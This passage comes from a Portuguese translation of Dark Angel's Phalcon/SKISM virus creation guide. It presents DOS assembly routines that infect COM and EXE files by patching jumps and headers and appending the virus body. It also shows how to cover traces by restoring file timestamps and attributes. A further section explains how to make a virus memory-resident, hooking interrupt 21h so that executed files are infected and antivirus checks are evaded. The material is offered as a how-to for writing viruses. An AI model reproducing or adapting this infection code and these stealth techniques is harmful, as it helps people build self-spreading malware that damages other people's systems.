mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Geralmente 3
mov word ptr [bp+buffer2+1], ax ; offset do JMP
; Codificar a instrução JMP para trocar o início do arquivo
mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Geralmente 3
mov word ptr [bp+buffer2+1], ax ; offset de JMP
; Escreve a instrução JMP no início do arquivo
mov ah, 40h ; Escreve CX bytes para
mov cx, 3 ; acessar o BX do
lea dx, [bp+buffer2] ; buffer -> DS:[DX]
int 21h
mov ax, 4202h ; Move ponteiro do arquivo para
xor cx, cx ; o fim do arquivo
xor dx, dx
int 21h
mov ah, 40h ; Escreve CX bytes
mov cx, endofvirus - startofpart2 ; Tamanho efetivo do vírus
lea dx, [bp+startofpart2] ; Começa a escrever no início
int 21h
; Variáveis
buffer1 db 3 dup (?) ; bytes salvos do
; arquivo infectado para restaurar
; depois
buffer2 db 3 dup (?) ; buffer Temporário
Depois de alguns exames, esse código irá provar que é fácil
de ser entendido. Isso começa lendo os primeiros 3 bytes em um
buffer. Note que você pode já ter feito isso em um passo
anterior, tipo quando você está checando para uma infecção
anterior. Se você já fez isso, você obviamente não precisa
fazer isso de novo. Esse buffer precisa ser armazenado no vírus
assim ele pode ser restaurado depois quando o código é
executado.
Infecções EXE são bem simples, apenas um pouco mais difícil
de se entender. Primeiro a teoria. Aqui está o formato do
cabeçalho EXE:
Ofs Nome Tamanho Comentários
00 Signature 2 bytes always 4Dh 5Ah (MZ)
*02 Last Page Size 1 word number of bytes in last page
*04 File Pages 1 word number of 512 byte pages
06 Reloc Items 1 word number of entries in table
08 Header Paras 1 word size of header in 16 byte paras
0A MinAlloc 1 word minimum memory required in paras
0C MaxAlloc 1 word maximum memory wanted in paras
*0E PreReloc SS 1 word offset in paras to stack segment
*10 Initial SP 1 word starting SP value
12 Negative checksum 1 word currently ignored
*14 Pre Reloc IP 1 word execution start address
*16 Pre Reloc CS 1 word preadjusted start segment
18 Reloc table offset 1 word is offset from start of file)
1A Overlay number 1 word ignored if not overlay
1C Reserved/unused 2 words
* denotes bytes which should be changed by the virus
Para entender isso, voce deve primeiro entender que arquivos EXE
sao estruturados dentro de segmentos. Estes segmentos podem
iniciar e acabar qualquer lugar. Tudo o que voce tem que fazer
para infectar um arquivo EXE eh juntar o seu codigo no fim. Isso
ira entao ser em seu proprio segmento. Agora tudo que voce tem de
fazer eh fazer o codigo do virus executar primeiro o codigo do
programa. Ao contrado de infeccoes COM, nenhum codigo do programa
eh sobrescrito entretanto o cabecalho eh modificado. Note que o
virus pode permanecer com a estrutura V1/V2, mas apenas V2
precisa ser concatenado no fim do arquivo EXE infectado.
Offset 4 (Paginas de Arquivo) mantém o tamanho do arquivo
dividido por 512, arredondado. Offset 2 mantem o tamanho do
modulo 512 do arquivo. Offset 0Eh mantem o deslocamento de
paragrafo (relativo para o fim do cabeçalho) da pilha de
segmento inicial e Offset 10h mantem o deslocamento (relativo
para o inicio do segmento da pilha) do ponteiro de pilha inicial.
Offset 16h mantem o deslocamento de paragrafo relativo para o fim
de o cabecalho e offset 14h mantem o deslocamento do ponto de
entrada relativo ao inicio do segmento de entrada. Offset 14h e
16h sao a chave para acrescentar o codigo inicial (o virus) para
o arquivo.
Antes de voce infectar o arquivo, voce deve salvar o CS:IP e
SS:SP encontrado no cabecalho EXE, como voce precisa restaurar
eles durante a execucao. Note que SS:SP NÃO é armazenado no
formato Intel reverse-double-word. Se voce nao sabe o que eu
estou falando, nao se preocupe; Isso é apenas para pessoas do
ramo. Você deve também salvar o tamanho do arquivo pois voce
ira precisar usar aquele valor muitas vezes durante a rotina de
infeccao. Agora é hora de calcular alguns offsets! Para
encontrar o novo CS:IP e SS:SP, use o seguinte codigo. Ele
assumes que o tamanho do arquivo está carregado em DX:AX.
mov bx, word ptr
[bp+ExeHead+8] ; Tamanho do Cabeçalho nos paragrafos
; ^---tenha certeza que você não destruirá o acesso ao arquivo
mov cl, 4 ; Multiplicar por 16. Não funciona com
shl bx, cl ; cabeçalhos > 4096
; bytes. Oh well!
sub ax, bx ; Subtrair tamanho do cabeçalho de
sbb dx, 0 ; tamanho do arquivo
; Agora DX:AX está carregado com tamanho do arquivo menus
tamanho do cabeçalho
mov cx, 10h ; DX:AX/CX = AX Remainder DX
div cx
Esse codigo eh um tanto ineficiente. Isso poderá provavelmente
ser mais facil para dividir por 16 primeiro e então executa uma
subtração direta de AX, mas isso parece ser o código que eu
escolhi. Entretanto, esse codigo tem algumas vantagens sobre o
mais eficiente já feito. Com esse, você terá certeza que o IP
(em DX) irá ser entre 15. Isso permite a pilha para estar no
mesmo segmento como o ponto de entrada, tão longo tanto o
apontador da pilha.
Agora AX*16+DX aponta para o fim do codigo. Se o virus inicia
imediatamente depois do fim do codigo, AX e DX podem ser usados
como o CS e IP iniciais, respetivamente. Entretanto, se o virus
tem algum lixo (codigo ou dados) antes do ponto de entrada,
acrescente a troca do ponto de entrada para DX (nenhum ADX com AX
é necessário desde que DX sejá sempre pequeno).
mov word ptr [bp+ExeHead+14h], dx ; IP Offset
mov word ptr [bp+ExeHead+16h], ax ; CS Displacement in module
The SP and SS can now be calculated. The SS is equal to the CS.
The
actual value of the SP is irrelevant, as long as it is large
enough so the
stack will not overwrite code (remember: the stack grows
downwards). As a
general rule, make sure the SP is at least 100 bytes larger than
the virus
size. This should be sufficient to avoid problems.
mov word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS
mov word ptr [bp+ExeHead+10h], 0A000h ; Starting SP
Tudo o que falta mexer no cabeçalho é o tamanho do arquivo.
Restaure o tamanho do arquivo original de aonde quer que você
salvou para DX:AX. Para calcular DX:AX/512 e DX:AX MOD 512, use o
seguinte código:
mov cl, 9 ; Use shifts again for
ror dx, cl ; division
push ax ; Need to use AX again
shr ax, cl
adc dx, ax ; pages in dx
pop ax
and ah, 1 ; mod 512 in ax
mov word ptr [bp+ExeHead+4], dx ; Fix-up the file size in
mov word ptr [bp+ExeHead+2], ax ; the EXE header.
Tudo o que falta é reescrever o cabeçalho EXE e concatenar o
vírus no fim do arquivo. Você precisa de código? Você pega
código.
mov ah, 3fh ; BX mantém manuseior
mov cx, 18h ; Não precisa de todo o cabeçalho
lea dx, [bp+ExeHead]
int 21h
call infectexe
mov ax, 4200h ; voltar para o inicio do
xor cx, cx ; arquivo
xor dx, dx
int 21h
mov ah, 40h ; Reescrever cabeçalho
mov cx, 18h
lea dx, [bp+ExeHead]
int 21h
mov ax, 4202h ; Vai para o fim do arquivo
xor cx, cx
xor dx, dx
int 21h
mov ah, 40h ; Note: Apenas precisa escrever
mov cx, part2size ; parte 2 do virus
lea dx, [bp+offset part2start] ; (Partes do virus
int 21h ; definido na primeira
; parte do
; guia)
Note que esse código sozinho não é suficiente para escrever um
infector de COM ou EXE. Código também é necessário para
transferir controle para o programa pai. A informação
necessária para fazer esse deve ser apresentada na próxima
parte. Nesse meio tempo, você pode tentar deixar do seu modo;
apenas lembre-se que você deve restaurar tudo o que você mudou.
PASSO 4 - COBRINDO SEUS RASTROS |
Esse passo, embora simples de se fazer, eh muito facilmente
esquecido. Isso eh extremamente importante, como um usuário
cauteloso será alertado para a presença de um virus por todos
as modificações em um arquivo. Em sua forma mais simples, isso
envolve a restauração de atributos do arquivo, hora e data.
Isso eh feito com o seguinte código:
mov ax, 5701h ; Mudar arquivo tempo/data
mov dx, palavra ptr [bp+f_date] ; DX = data
mov cx, palavra ptr [bp+f_time] ; CX = tempo
int 21h
mov ah, 3eh ; Fechar arquivo
int 21h
mov ax, 4301h ; Mudar atributos
lea dx, [bp+offset DTA + 1Eh] ; Nome do arquivo permanece em DTA
xor ch, ch
mov cl, byte ptr [bp+f_attrib] ; Atributo em CX
int 21h
Lembrar tambem para restaurar o diretório de volta para o
original se ele foi alterado enquanto o vírus rodava.
PHALCOM/SKISM GUIA DE CRIAÇÃO DE VÍRUS POR DARK ANGEL #3 Traduzido e engarrafado por LeBeau |
AVISO: Esse arquivo tem garantia de 100% de continuar a existir. O autor não clama a existencia ou nao existencia do leitor.
Esse espaco foi deixado intencionalmente em branco.
AGRADECIMENTOS:
Bemvindo ao lar, Hellraiser!
Ola para a turma: Count Zero, Demogorgon, Garbageheap, assim como
para todo o resto que eu não mencionei.
Guia de Criação de Vírus por Dark Angel
"Isso é legal!" - Kraft
ONDE ENCONTRAR: Para
encontrar esse guia e as futura edições vá para:
http://lebeau.home.ml.org
EM CASO DE DÚVIDAS: lebeau@cyberspace.org (Não sou o autor mas manjo um
pouco de Assembly, portanto eu poderei não saber responder todas
as
questões)
PARTE IV: VÍRUS RESIDENTES VIRUS, PARTE II |
Agora que o topico de virus nao residentes foi endereçado, esse
série agora vira-se para virus residente em memória. Essa parte
cobre a teoria desse tipo de virus, entretanto nenhum codigo irá
ser apresentado. Com esse conhecimento em mão, voce pode
escrever virus residente em memoria com a certeza que voce não
está indo muito mal.
INTERRUPÇÕES |
DOS amavelmente
fornece-nos um poderoso metodo de valorizar a si mesmo, chamado
programas residente em memória. Programas residente em memória
permite uma extensão e alteração do funcionamento normal do
DOS. Para entender como programas residente em memoria funcionam,
é necessário desenvolver dentro da intricacias da tabela de
interrupções. A tabela de interrupções é localizada na
localizacao de memória 0000:0000h até 0000:0400h (ou
0040:0000), apenas abaixo da área de informação da BIOS. Ela
consiste de 256 double words, cada uma representando um par de
segmento:offset. Quando uma chamada de interrupcao é instruida
via uma instrucao INT, duas coisas ocorrem, nessa ordem:
1) Os flags sao empurradas dentro da pilha.
2) Um far call é instruida para o segmento:offset localizada na
tabela de interrupções
Para retornar de uma interrupção, uma iret instrucao eh usada.
A instrução iret reversa a ordem da chamada int. Isso executa
um retf seguido por um popf. Esse procedimento de chamada/retorno
tem um interessante contra-efeito quando considerando
manuseadores de interrupções que retorna valores no registrador
de flags. Tais manuseadores deve manipular diretamente o
registrador de flags salva na pilha antes do que simplesmente
manipular diretamente o registrador.
O processador procura na tabela de interrupcao a localizacao para
poder chamar. Por exemplo, quando uma interrupcao 21h eh chamada,
o processador procura na tabela interrupcao para encontrar o
endereco do handler da interrupcao 21h. O segmento desse
apontador eh 0000h e o offset eh 21h*4, ou 84h. Em outras
palavras, a tablea de interrupcao é simplesmente um consecutivo
corrente de 256 ponteiros para interrupcoes, indo de interrupcao
0 para interrupcao 255. Para encontrar uma específica
interrupção handlerr, carregue em um segmento par de double
word segmento:offset a partir do segmento 0, offset (interrupcao
numero)*4. A tabela de interrupcao eh armazenado em formato
padrao Intel reverso double word, i.e. o offset eh armazenado
primeiro, seguido pelo segmento.
Para um programa poder "capturar" uma interrupcao, ou
seja, redirecionar a interrupcao, ele deve mudar os dados na
tabela de interrupcao. Isso pode ser realizado tanto por
manipulação direta da tabela ou por uma chamada para a
apropriada função DOS. Se o programa manipula a tabela
diretamente, ele deve por esse codigo entre um par CLI/STI, para
instruir uma interrupcao pelo processador enquanto o tabela eh
semi-alterada pode ter pessimas consequencias. Geralmente
manipulação direta é a alternativa preferível, desde que
alguns programas primitivos tal como FluShot+ captura a chamada
para interrupcao 21h para mudar a interrupcao e ira avisar o
usuario se qualquer programa "nao autorizado" tentar
mudar o handler.
Um controlador de interrupção eh uma peça de codigo que eh
executada quando uma interrupcao eh requerida. A interrupcao pode
tanto ser requerido por um programa ou pode ser requerida pelo o
processador. Interrupcao 21h eh um exemplo do anterior, enquanto
interrupcao 8h eh uma exemplo da outra. O sistema BIOS fornece
uma porcao de handlers de interrupção, com DOS e outros
programas fornecendo o resto. Geralmente, o limite de
interrupções BIOS varia de 0h para
1Fh, em interrupcoes DOS o limite é de limite de 20h até 2Fh, e
o resto eh disponivel para uso pelos programas.
Quando um programa deseja instalar seu proprio codigo, ele deve
considerar muitos fatores. Primeiro de todos, ele quer suplantar
ou acrescentar existinte codigo, tem que ver, já tem um handler
de interrupcao presente? Em segundo lugar, o programa deseja
preservar o funcionamento do handler de interrupcao antigo? Por
exemplo, um programa que "captura" a interrupção do
tick do relógio do BIOS podera definitivamente desejar preservar
o antigo handler de interrupcao.
Ignorando a presenca do velho handler de interrupcao pode levar a
disastrosos resultados, especialmente se programas residentes
carregados anteriormente capturaram essa interrupcao.
Uma tecnica usada em muitos handlers de interrupcao eh chamada
"chaining." Com chaining, tanto o novo e o velho
handler de interrupcao são executados. Há dois métodos
primario para chaining: preexecucao e posexecucao. Com
reexecucao, o velho handler de interrupcao eh chamado antes do
novo. Isso eh realizado via uma chamada pseudo-INT consistindo de
um pushf seguido por uma chamada longe ptr. O novo handler de
interrupcao passa o controle quando o velho termina. Preexecucao
chaining eh usada quando o novo handler de interrupcao deseja
para usar o resultados do antigo handler de interrupcao em
decidir a ação apropriada para pegar. Posexecucao chaining eh
mais arrumado, simplesmente consistindo de uma instrucao jmp far
ptr. Esse metodo nao requer uma instrucao iret para ser
localizada no novo handler de interrupcao! Quando o jmp eh
executado, o novo handler de interrupcao completou suas ações e
o controle eh passado para o velho handler de interrupcao. Esse
metodo eh usado primariamente quando um programa deseja
interceptar a chamada de interrupcao antes do DOS ou BIOS para
pegar um chance para processar ele.
UMA INTRODUÇÃO PARA A ALOCAÇÃO DE MEMÓRIA NO DOS |
Alocação de
memória eh talvez um dos conceitos mais dificeiss, certamente o
mais dificil para implementar, no DOS. O problema é que não há
muita documentacao a respeito tanto pela Microsoft quanto pela
IBM. Infelizmente, conhecimento de gerenciar memória no DOS é
crucial em escrever vírus residente na memória.
Quando um programa pede ao DOS por mais memoria, o sistema
operacional esculpe um pedaço de memoria do um lugar que não
tenha memória alocada. Embora esse conceito eh simples
suficiente para entender, é necessário ir fundo em ordem de ter
suficiente conhecimento para escrever vírus residente em
memória efetivo. DOS cria blocos de controle de memória
controle blocos (MCBs) para ajudar a si mesmo manter rastros
desses pedacos de memoria. MCBs sao pequenas areas de memoria que
cada uma é devotada para manter rastros de uma área particular
da memória alocada. Quando um programa solicita memória, um
paragrafo para o MCB eh alocado em adicao para a memoria
requerida pelo programa. O MCB falha apenas em fronte da memoria
que ele controla. Visualmente, um MCB e sua memoria parece assim:
+-------------------------------------------------+
| MCB 1 | pedaço de memoria controlado pelo MCB 1 |
+-------------------------------------------------+
Quando uma segunda secao de memoria eh requerida, outro MCB eh
criado logo abaixo da última memória alocada. Visualmente:
+-------------------------------------+
| MCB 1 | Pedaço 1 | MCB 2 | Pedaço 2 |
+-------------------------------------+
Em outro palavras, os MCBs sao "empilhados" um em cima
do outro. ocorre uma perda de espaço quando for desalocar MCB 1
antes de MCB 2, aparecendo buracos no desenvolvimento de
memória. A estrutura para o MCB eh como segue:
Offset Tamanho Significando
------ ------- ------------
0 BYTE 'M' ou 'Z'
1 WORD Processo ID (PSP do dono do bloco)
3 WORD Tamanho em paragrafos
5 3 BYTES Reservados (Nao usado)
8 8 BYTES DOS 4+ usa esse. Yay.
Se o byte em offset 0 eh 'M', entao o MCB não é o fim da
corrente. O 'Z' denota o fim do MCB corrente. Pode ser mais do
que um MCB presente na memoria por vez e esse "aspecto"
eh usado pelos virus para ir residente na memória alta. O word
em offset 1 eh normalmente igual ao PSP do dono do MCB. Se ele eh
0, isso significa que o bloco eh livre e eh disponivel para usar
pelos programas. Um valor de 0008h nesse campo denota DOS como o
dono do bloco. O valor em offset 3 NAO inclui o paragrafo alocado
para o MCB. Ele reflete o valor passado para as funções de
alocação do DOS. Todos os campos localizados depois do tamanho
do bloco não tem utilidade e voce pode ignorar eles.
Quando um arquivo COM eh carregado, todas a memória disponivel
eh alocado para ele pelo DOS. Quando um arquivo EXE eh carregado,
a quantidade de memoria especificada no cabeçalho do arquivo EXE
eh alocada. Tem tanto um valor minimo e um maximo no cabecalho.
Geralmente, o linkador ira mudar o maximo valor para FFFFh. Se o
programa deseja alocar memoria, ele deve primeiro encolher o
principal pedaço de memoria pertencente pelo programa para o
minimo requerido. De outro modo, a tentativa patético de
alocação de memoria ira falhar miseravelmente.
Uma vez que programas normalmente não supostos para manipular
MCBs diretamente, o controlador da memória do DOS chama (48h -
4Ah) para retornar e aceitar valores do primeiro paragrafo de
memória usável do programa, ou seja, o paragrafo de memoria
imediatamente depois do MCB. É importante manter isso em mente
quando escrever código manipulador de MCB.
MÉTODOS DE FICAR RESIDENTE |
Tem uma
variedade de estratégias sobre residência em memoria. A
primeira eh o uso das rotinas TSR em interrupção do DOS
tradicional, tanto INT 27h ou INT 21h/Funcao 31h. Essas rotinas
sao indesejaveis quando escrever virus, porque eles nao retornam
o controle para o programa depois da execucao. Adicionalmente,
eles aparecem como "andarilhos na memória" em
programas como PMAP e MAPMEM.
A alternativa viral tradicional para usar a interrupção do DOS
eh, é claro, escrever uma nova rotina de residencia. Quase todo
vírus moderno usa uma rotina para "carregar na memória
alta," ou seja, para carrega si mesmo dentro da maior
localização de memória possivel. Por exemplo, em um sistema
com 640K, o virus podera carregar a si mesmo apenas dentro dos
640K mas acima da area reservada pelos DOS para uso dos
programas. Embora isso é tecnicamente nao a área mais alta na
memoria, ele deve ser referido como tal em um remanescente de
esse arquivo em ordem de acrescentar confusao e caos geral dentro
de outros arquivos. Carregar na memória alta pode ser facilmente
realizado atraves de uma serie de chamadas de interrupcoes
através de realocacao e alocacao. O método geral eh:
1. Encontrar o tamanho da memória
2. Encolher a memória do programa para o total de memoria -
tamanho do virus
3. Alocar memoria para o virus (esse ira ser na área de memoria
alta)
4. Mudar o MCB do programa para o fim da corrente (Marque ele com
'Z')
5. Copiar o virus para a memória alta
6. Salve os vetores de interrupcao antigo se o virus deseja
acorrentar vetores
7. Mudar os vetores de interrupcao para a localização
apropriada na memória alta
Quando calcular tamanhos de memoria, lembre que todos os tamanhos
estao em paragrafos. O MCB deve tambem ser considerado, como ele
pega mais de um paragrafo de memoria. A vantagem desse metodo eh
que ele não faz, como um regra, aparecer como um andarilho de
memória. Entretanto, o total de memória do sistema mostrado por
alguns programas como MEM irá decrementar.
Uma terceira
alternativa eh nao alocar tudo. Alguns virus copia a si mesmo
para a memoria dentro dos 640K, mas falha para alocar a memoria.
Isso pode ter conseqüências desastrosas, como qualquer programa
carregado pelos DOS pode possivelmente usar essa memoria. Se isso
esta corrompido, resultados imprevisiveis podem ocorrer. Embora
nenhuma perda de memória eh mostrada pelo MEM, o possivel caos
resultante desse metodo eh claramente nao aceitavel. Alguns virus
usam memoria livre. Por exemplo, a parte superior da tabela de
interrupcao ou partes e memória de video tudos pode ser usado
com alguma seguranca que a memoria não irá ser corrompido. Uma
vez de novo, essa tecnica eh tanto indesejavel como é
extremamente instavel.
Este tecnicas não sao os únicos metodos de residencia. Eu tenho
visto alguns metodos bizarrosde ficar residente nos buffers de
disco internos do DOS. Onde ha memoria, ha um modo.
É muito desejavel saber se o virus já é residente. O modo mais
simples de fazer isso eh escrever função de checagem funcao no
código do handler da interrupção. Por exemplo, uma chamada
para a interrupcao 21h com o registrador ax em 7823h pode
retornar um valor 4323h em ax, significando residencia. Quando
usar esse checagem, é importante garantir que nao tenha
possíveis conflitos com os outros programas ou com o próprio
DOS.
POR QUE RESIDENTE? |
Vírus residente em memoria tem muitos vantagens distinguiveis sobre virus runtime.
Tamanho
Virus residente em memória sao muitas vezes menores do que os vírus runtime uma vez que eles nao precisam incluir codigo para procurar por arquivos para infectar.
Efetividade
Eles sao muitas vezes mais virulentos, uma vez que ate o comando DIR "infectado." Geralmente, a tecnica padrao eh cada arquivo que é executado enquanto o virus está residente.
Velocidade
Vírus runtime infectam antes de um arquivo ser executado. Um virus pobre ou um grande vírus runtime irá causar um noticiavel tempo de espera antes da execucao facilmente observado pelos usuarios. Adicionalmente, isso causa uma grande atividade no disco que é detrimental para a espalhação do virus.
Camuflagem
O manipulacao
de interrupcoes permite por o implementacao de camuflagem
tecnicas, tal como o escondendo de mudancas em arquivo tamanho em
diretorio listagens e em-o-voo desinfeccao. Assim eh maisdifícil
para o usuário médio detectar o virus. Adicionalmente, o vírus
astuto pode ate se esconder da checagem de CRC, obliterando
assim, as técnicas de detecção de anti-virus.
ESTRUTURA DO VÍRUS RESIDENTE |
Com a
informação preliminar fora do caminho, a discussao pode agora
passar para mais virus-relacionado, certamente com mais tópicos
interessantes. A estrutura do vírus residente em memoria eh
radicalmente diferente do que do vírus runtime. Isso
simplesmente consiste de um curto pedaço de programa usado para
determinar se o virus ja é residente. Se ele ainda não está na
memoria, o código carrega ele na memoria atraves de qualquer
metodo. Finalmente, o pedaço de código restaura o controle para
o programa servidor. O resto do codigo do vírus residente
consiste de handlers de interrupcao onde o resto do trabalho eh
feito.
O pedaço de código eh apenas a porção do virus que precisa
ter os calculos do offset delta. O handler da interrupcao
idealmente ira existir em um localizacao que não ira requerer
tais fixações mundanas. Uma vez carregado, não deve mais haver
uso do offset delta, como a localização das variaveis eh
preset. Desde que o código do vírus residente virus deve
originar
em offset 0 do bloco de memória, o código original deve estar
no offset 0. Não inclua um jmp para o código virus no
carregador original do arquivo. Quando mover o virus para a
memoria, simplesmente mova o inicio para [bp+startvirus] e os
offsets devem trabalhar fora quando ele estão no arquivo fonte.
Isso simplifica (e encurta) o codigo do handler da interrupcao.
Muitos coisas devem ser consideradas em escrever os handlers da
interrupcao para um virus. Primeiro, o virus deve preservar os
registradores. Se o virus usa preexecucao chaining, ele deve
salvar os registradores depois de chamar o handler original. Se o
virus usa posexecucao chaining, ele deve restaurar os
registradores originais da chamada de interrupcao antes do call
para o handler original. Segundo, isso eh mais dificil, embora
nao impossivel, para implementar a encriptacao com vírus
residente em memória. O problema é que se o handler da
interrupcao eh encriptado, então esse handler da interrupcao
controlador não pode ser chamado antes da função de
decriptacao. Isso pode ser um grande desgosto para a pessoa. O
modo mais fácil é simplesmente nao incluir encriptacao. Eu
prefero modo facil. Os leitores que preferem o modo não-fácil
podem desejar que a memoria simultaneamente mantenha duas copias
do virus, encriptar a cópia cópia não usada, e usa a cópia
encriptada como o buffer de escrita. É claro, o vírus pode
então pegar duas vezes a quantidade de memoria que ele pode
requerer normalmente. O uso de encriptacao eh um problema de
escolha pessoal e facilidade.
Outro fator importante para considerar quando escrever handlers
de interrupcao, especialmente aqueles de interrupções de BIOS,
eh um pedaço do DOS com reentrancia. Isso significa que
funções DOS funcoes nao podem ser executadas enquanto DOS está
no meio do processamento de um requerimento de interrupcao. Isso
acontece porque DOS configura sobre o mesmo apontador de pilha
cada vez que ele eh chamado, e chamando a segunda interrupção
DOS que ira causar o
processamento de um código para sobreescrever a pilha do outro,
causando resultados inprevisíveis, mas muitas vezes terminal.
Isso aplica-se indiferente de que interrupções do DOS sao
chamadas, mas isso eh especialmente verdadeiro para a interrupcao
21h, desde que ele tente muitas vezes para usar ele de dentro de
um handler de interrupcao. A menos que ele esteja certo que o DOS
não está processando um requerimento anterior, NÃO faça uso
de uma função do DOS no handler da interrupcao. Isso eh
possivel para usar as "mais baixas" funções da
interrupcao 21h sem medo de corromper a pilha, mas eles sao
basicamente sem utilidade, realizar funcoes facilmente acessado
pela chamada da BIOS chama ou acesso direto
do hardware. Essa discussão inteira apenas aplica para capturar
interrupções nao-DOS. Ao capturar interrupções do DOS vem a
seguranca que DOS não está executando em qualquer outro lugar,
uma vez que isso podera entao estar corrompendo sua própria
pilha, que podera ser a ocorrência mais infeliz de fato.
A interrupção mais comum para capturar eh, naturalmente, a
interrupcao 21h. A Interrupcao 21h eh chamada por todo programa
DOS. A estratégia usual eh por um virus para encontrar
potenciais arquivos para infectar ao interceptar certas chamadas
DOS. As funções primárias para capturar incluem o find first,
find next, aberto, e comandos de executar.
Ao usar pre e posexecucao chaining, um virus pode facilmente
encontrar o arquivo que foi encontrado, aberto, ou executado e
infectar ele. Os truque é simplesmente encontra o método
apropriado para isolar o nome do arquivo. Uma vez que isso é
feito, o resto é essencial idêntico para o vírus runtime.
Quando chamar interrupcoes capturadas pelo código de
interrupção, tenha certeza que o virus não capture esse call
em particular, para que nao resulte em um infinito loop. Por
exemplo, se a função de executar funcao eh capturada e o virus
deseja, por alguma razao, executar um particular arquivo usando
essa funcao, ele NÃO deve usar um simples "int 21h"
para fazer o trabalho. Em casos tais como esse onde o problema
não pode ser evitado, simplesmente simule a chamada para a
interrupcao com uma combinação de pushf/call.
A estrutura básica do handler da interrupcao eh completamente
simples. O controlador primeiro mostra os registradores para cada
chamada de identificacao ou para um função capturada funcao tal
como executar. Se ele não for um dos mostrado acima, o handler
irá jogar o controle de volta para o handler original da
interrupcao. Se isso eh um requerimento de identificacao, o
handler simplesmente configura os registradores apropriados e
retorna para o programa que
chamou. De outro forma, o virus deve decidir se as chamadas de
requerimento é para pre ou posexecucao chaining. Indiferente de
qual ele usa, o virus deve encontrar o nome do arquivo e usar
esse informacao para infectar. O nome do arquivo pode ser
encontrado tanto atraves do uso de registradores como ponteiros
ou procurando atraves de certas estrutura de dados, tal como
FCBs. A rotina infecção eh a mesma como aquela para vírus nao
residentes, com a excecao daquilo mostrado nos parágrafos
anteriores.